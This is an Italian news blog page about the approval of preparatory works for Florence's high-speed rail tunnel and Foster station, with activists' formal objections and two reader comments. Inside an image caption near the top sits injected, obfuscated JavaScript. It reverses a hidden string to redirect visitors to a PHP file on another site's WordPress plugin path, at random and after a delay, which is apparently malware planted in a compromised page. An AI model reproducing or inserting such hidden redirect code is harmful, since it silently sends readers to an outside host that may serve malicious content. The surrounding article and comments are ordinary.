Tav, via libera al primo cantiere, giù 10 palazzi. Ma arriva la diffida

image_pdfimage_print

Trenta camion verso l’autostrada, 160 alberi da tagliare, una decina di edifici da demolire. Partono i lavori del sottoattra­versamento dell’Alta Velocità e della stazione Foster. L’Osserva­torio ambientale ha approvato ieri pomeriggio il progetto ese­cutivo per le opere propedeuti­che all’opera. E già dalla prossi­ma settimana le imprese, che fanno capo a Coopsette, allesti­ranno i cantieri nella zone ex Macelli, Campo di Marte e lun­go l’area ferroviaria in cui si rea­lizzerà il corridoio attrezzato.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/03/tav_belfiore.jpg”>Il cantiere TAV Belfiore a Firenze
Il cantiere TAV Belfiore a Firenze

Il via libera riguarda tutte le opere accessorie agli interventi, che serviranno a preparare Fi­renze all’inizio vero e proprio degli scavi. L’intero progetto esecutivo è stato consegnato ie­ri all’Osservatorio e deve anco­ra essere approvato. Ma con l’inizio di questi cantieri si de­creta ufficialmente la partenza dei lavori, per un totale di 691 milioni di euro, che secondo la tabella di marcia saranno com­pletati nel 2014. E se ne accorgerà anche la cit­tà. Anche se sarà limitata in que­sta prima fase la presenza dei ca­mion per il trasporto dei mate­riali: trenta mezzi, in media, cir­coleranno ogni giorno da via Circondaria, Campo di Marte e Firenze Nova verso le autostra­de, in direzione Varlungo. «Tra­sporteranno materiali — spiega il presidente dell’Osservatorio Pietro Rubellini — via gomma, finchè non saranno messi i bi­nari sul corridoio bimodale, che è già pronto. Abbiamo chie­sto che via via che verranno rea­lizzati i tratti del corridoio, par­ta il trasporto su ferro». Il per­corso più lungo sarà quello dei mezzi di via Circondaria, che passeranno da viale Guidoni. I camion diventeranno circa 150 al giorno quando partiranno gli scavi della talpa.

In cosa consistono i lavori che stanno per partire? «Devo­no essere demoliti una decina di edifici nell’area ex Macelli che interferiscono con la stazio­ne Foster — chiosa Rubellini — e sempre in quell’area saran­no abbattuti 160 alberi, cinque invece nella zona di Campo di Marte. Sarà eliminato lo spesso­re superficiale del suolo e fatta bonifica da ordigni esplosivi, nelle aree interessate da attivi­tà bellica. Saranno realizzate le barriere anti-rumore, le recin­zioni e i manufatti in cemento armato previsti». Si conteran­no tre cantieri: nell’ex area Ma­celli, a Campo di Marte e a Fi­renze Nova.

Ieri all’incontro erano presen­ti i responsabili dell’Osservato­rio di Comune, Provincia e Re­gione, e del ministero dell’Am­biente. Assente (giustificato) Ezio Ronchieri, che doveva rap­presentare il ministero di Matte­oli. Il progetto delle opere pro­pedeutiche è stato approvato con alcune prescrizioni («non sostanziali, altrimenti non lo avremmo approvato», dice Ru­bellini). Si tratta di misure che serviranno a tutelare l’ambien­te, e la vita dei cittadini. «Per ri­durre le polveri dovrà essere ef­fettuata una bagnatura conti­nua — afferma Rubellini —, gli edifici accanto a quelli che sa­ranno demoliti dovranno esse­re protetti con barriere. E con­tro il rumore, abbiamo chiesto che il martello demolitore sia usato soltanto in casi di estre­ma necessità».

Veniamo ai tempi. «Abbiamo approvato il progetto propedeu­tico — continua il presidente dell’Osservatorio — e con que­sto via libera passiamo la palla nelle mani delle imprese. Teori­camente potrebbero comincia­re già da domani (oggi, ndr)». In realtà oggi si svolgerà invece la riunione per fissare i tempi dei cantieri: «Speriamo di poter partire dalla prossima settima­na », dice Marco Rettighieri, project manager dell’opera e di­rettore investimenti di Rfi per Nord e Centro Italia. «Rientria­mo — continua — nei program­mi che avevamo stabilito: con­cludere il sottoattraversamento nel 2013 e la stazione Foster nel 2014, quando sarà attivata tutta la tratta dell’Alta Velocità».

Rimangono da approvare, i progetti del sottoattraversa­mento e della stazione. Che con­tengono anche la lista definiti­va degli edifici messi a rischio dallo scavo.

Federica Sanna per il Corriere Fiorentino

Intanto da PerUnaltracittà arriva una diffida formale ad aprire i cantieri per il tunnel dell’alta velocità a Firenze. A rivolgerla a Comune di Firenze ed Osservatorio Ambientale – oltre che alle ditte incaricate dei lavori – sono la candidata sindaco Ornella De Zordo e Tiziano Cardosi del Comitato No Tav Firenze, anch’esso candidato per il Consiglio Comunale nelle liste di “Per Unaltracittà”. Nel progetto passato alla valutazione d’impatto ambientale era prevista la movimentazione dei materiali di cantieri esclusivamente via ferrovia. Invece, la viabilità ordinaria della città sarà interessata da centinaia di mezzi pesanti ogni giorno: “Aprire i cantieri per dare il via a lavori difformi da quanto previsto dalla valutazione d’impatto ambientale è un atto illegittimo – spiegano De Zordo e Cardosi – siamo pronti a rivolgerci al Ministero dell’Ambiente e alla Commissione Europea per una così palese violazione della legislazione in materia ambientale. Chi si assume oggi la responsabilità di procedere su questa strada sarà chiamato domani a risponderne”.

L’apertura dei cantieri significa per la città l’abbattimento di 10 edifici e 165 alberi nella zona degli ex Macelli e di Campo di Marte, dove saranno recintate alcune zone. Inoltre fra Firenze Nova, via Circondaria, Campo di Marte verso Varlungo, passeranno circa trenta camion al giorno, solo un “antipasto” dell’ondata ben più corposa di mezzi che arriveranno quando i lavori saranno a regime: “Il tutto in una città già disastrata da inquinamenti di vario tipo, fra pm10 ben oltre i limiti, inquinamento acustico, cementificazione, a cui si pensa di aggiungere altre cause inquinanti come l’inceneritore di Case Passerini”, concludono De Zordo e Cardosi.

“Prendiamo atto con estrema preoccupazione – proseguono De Zordo e Cardosi – che si intende far partire i cantieri nonostante i pericoli per il suolo dimostrati già dalle sentenze penali per la Tav in Mugello, nonostante gli ingenti danni che un analogo intervento sta già producendo a Bologna, nonostante i forti e fondati timori espressi da studiosi, esperti, cittadini. Si sceglie di ignorare pericoli, disagi, impatti, conseguenze sulla salute e la sicurezza dei cittadini, solo per poter gestire un appalto miliardario. Si sta forse cercando di forzare la mano per non poter più tornare indietro?”.

[Fonte Repubblica e PerUnaltracittà]

0 Comments

  1. roberto

    Da tempo si è scelto da parte di chi ha malgovernato negli anni scorsi di fare questa “indispensabile” opera, e di farla sottoterra. Il colmo è che questa bella trovata è stata caldeggiata dalla “sinistra” e anche dai cosiddetti “verdi”.
    I sedicenti Rubellini e Biagi li ho visti filare come due innamorati anche nel Salone dei 500 al convegno dei geologi del marzo 2006; il primo nella veste di dirigente del Servizio Nuove Infrastrutture del Comune di Firenze e l’altro nella veste di padrone di casa al posto del Domenici, impegnato come sempre, altrove. Il primo aveva cominciato l’opera dei buchi da molto tempo prima al Comune di Sesto Fiorentino; il secondo fortunatamente si è un po’ defilato in attesa che cessi il temporale di Castello. Costoro hanno brillato più di Napoleone facendo ciò che hanno voluto e salendo in carriera a vertici inimmaginabili.
    Ma il lavorio della talpa era cominciato molto tempo prima, con Primicerio e prima ancora con Chiti e Morales che hanno da sempre simpatizzato per l’alta velocità e gli affari giganteschi che la lobby dei cementificatori ha messo in funzione. Per fermare quel piano, definito strategico e creatore di una infinità di nuovi posti di lavoro, ma in realtà inutile costoso e dannoso, le popolazioni di volta in volta investite non hanno potuto fare un bel nulla . Le sconfitte stile caporetto, iniziate a partire dai paesi dell’Appennino, trovano la loro logica prosecuzione con il traforo delle città. Prima Bologna, che essendo più rossa di Firenze ha dato il buon esempio.
    Ora è arrivato il momento anche per noi di calare le brache! Non c’è proprio da meravigliarsi se a un certo punto, questi bravi amministratori che i cittadini si sono dati alzano la voce e sbottano: Ora basta!. Questi Comitati , che poi si sono umanamente dissolti (non fosse che per stanchezza), mano a mano che i tracciati venivano spostati da est ad ovest non possono fermare il progresso che avanza inesorabile. Dalle alpi alle piramidi, con la Lojola de Palacio legata sul paraurti, il tejevè è pronto, con i motori caldi.
    Macchinista d’onore il presidente ferroviere con aiuto macchinista la bella Carla Bruni in Sarcosì, che gli scalda le caldarroste (al plutonio) mentre lui manovra quel treno, che per la legge obbiettivo nessuno può fermare!.

    Reply
  2. ely

    Gentile Roberto! I comitati non sono spariti per stanchezza, ma per schifo! Schifo per il menefreghismo e la presupposizione dei governanti di sinistra, che se ne sono sempre strafregati di Firenze…interessando loro solo potere e soddisfazione del clientelismo oltre il proprio! Quante poche proteste in consiglio comunale nel marzo 1999 quando il folle domenici….anima gemella di d’alema, firmo’ il contratto che vendeva Firenze alla distruzione, io c’ero e con la morte nel cuore, cacciati dal consiglio comunale per proteste! I comitati, sono spariti per lo schifo nei confronti dei fiorentini, i fiorentini presuntuosi, piagnoni e strilloni solo quando si tocca il loro pascolino ed anche a loro della citta’ intera non gliene frega nulla! Quante manifestazioni sono state indette e quanti pochi sono venuti a protestare per gli scempi decisi per avvilire questa meravigliosa citta’. Dai sottopassi costosi ed inutili, dalla tramvia cosi’ invasiva che non risolvera’ i problemi del traffico anzi lo inasprira’!
    ovonde ridicole, rotonde assurde, tutti progetti che poi si sono rivelati pressappochisti e frettolosi, panchine roventi senza grazia in una piazza meravigliosa ed adesso squalificata! Il buon gusto ed il rispetto per Firenze non hanno contraddistinto le amministrazioni di questi ultimi decenni, ma tant’e’ i fiorentini, la maggior parte dei fiorentini si merita cio’ che ha scelto e senza ritorno! Ridero’ in faccia al prossimo che si lamenta, perche’ chi si somiglia si piglia! Tav in superficie, meno costosa, meno pericolosa, meno lunga come lavori….non interessa a chi cerca facili guadagni, basta leggere il lievitare folle dei costi sia del tracciato che della stazione foster ridicolmente esasperata, a spese nostre! un saluto sperando che questo commento non sia censurato causa sfogo realistico! Ely

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *